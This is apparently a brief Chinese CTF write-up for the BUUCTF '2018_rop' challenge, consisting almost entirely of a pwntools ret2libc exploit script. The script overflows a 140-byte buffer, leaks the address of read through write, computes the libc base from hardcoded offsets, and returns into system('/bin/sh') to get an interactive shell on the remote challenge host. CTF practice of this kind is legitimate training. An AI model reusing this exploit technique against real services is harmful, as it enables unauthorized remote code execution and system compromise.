Libcdatabase

代码

栈溢出漏洞但是需要找到Libc库

Exp

from pwn import *
from LibcSearcher import * 

r = remote("node5.buuoj.cn",29369) 
#r = process("2018_rop")
#libc = ELF("libc6_2.23-0ubuntu11.3_i386.so") 
elf = ELF("2018_rop")
#if args.G:
#	gdb.attach(r, "b *0x0804849b\r\n")
write_plt = elf.plt['write']
read_got = elf.got['read']
start_addr = elf.sym['main']

payload =  "a"*140+p32(write_plt)+p32(start_addr)+p32(0x1)+p32(read_got)+p32(0x4)
r.sendline(payload)
# recv read 
read_addr = u32(r.recv(4))
print("read_addr is:",hex(read_addr)) 
libc = LibcSearcher('read', read_addr)

# libcbase 
read_offset = 0x0e5620
sys_addr = 0x03cd10 
bin_addr = 0x17b8cf	
base_addr = read_addr-read_offset
system_addr = base_addr+sys_addr
binsh_str = base_addr+bin_addr

payload = "a"*140+p32(system_addr)+p32(1)+p32(binsh_str)
r.sendline(payload)
r.interactive()